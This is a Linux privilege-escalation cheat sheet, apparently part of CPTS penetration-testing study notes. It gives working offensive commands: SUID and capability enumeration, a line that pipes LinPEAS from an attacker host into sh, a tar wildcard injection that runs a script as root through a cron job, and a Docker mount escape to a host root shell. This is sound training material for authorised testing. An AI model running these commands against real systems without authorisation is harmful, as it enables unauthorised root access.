Linux Privilege Escalation Master Guide

Comprehensive Linux privilege escalation checklist: SUID binaries, Linux capabilities, sudo misconfigurations, cron wildcards, and container escapes.

linpeaspspyfindgetcapsudo

Privilege escalation on Linux relies on identifying misconfigured permissions, SUID binaries, custom root cronjobs, or kernel vulnerabilities.

1. SUID Binaries & Capabilities

Find all files with SUID bit set:

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

Audit binary capabilities:

getcap -r / 2>/dev/null

2. Sudo Privileges & GTFOBins

Check current user permissions:

sudo -l

3. Automated Enumeration

Pipe LinPEAS directly into bash memory:

curl -L http://{LHOST}:8000/linpeas.sh | sh

Sniff transient cronjobs with pspy without root privileges:

./pspy64 -pf -i 1000

4. Tar Wildcard Injection Exploit

If a root cronjob runs tar -czf backup.tar.gz *:

touch /var/backup/--checkpoint=1
touch "/var/backup/--checkpoint-action=exec=sh root.sh"

5. Docker Container Escape

Mount the host root filesystem from inside Docker:

docker run -v /:/host -it alpine chroot /host /bin/bash

Check extracted hashes against 10. Password Cracking & Hash Identification.

More CPTS notes

• 01. Network Discovery & Port Scanning Guide
• 02. Web Content Discovery & Directory Fuzzing
• 03. Web Application Exploitation & Injection
• 05. Windows Local Privilege Escalation & LOLBAS
• 06. Active Directory Attack Paths & Domain Enumeration
• 07. Kerberos Exploitation: AS-REP & Kerberoasting
• 08. Active Directory Certificate Services (AD CS) Abuse
• 09. Pivoting, Tunnels & Lateral Movement
• 10. Password Cracking & Hash Identification
• 11. Offensive File Transfers Across Restricted Networks
• 12. Interactive TTY Stabilization & Terminal Spawning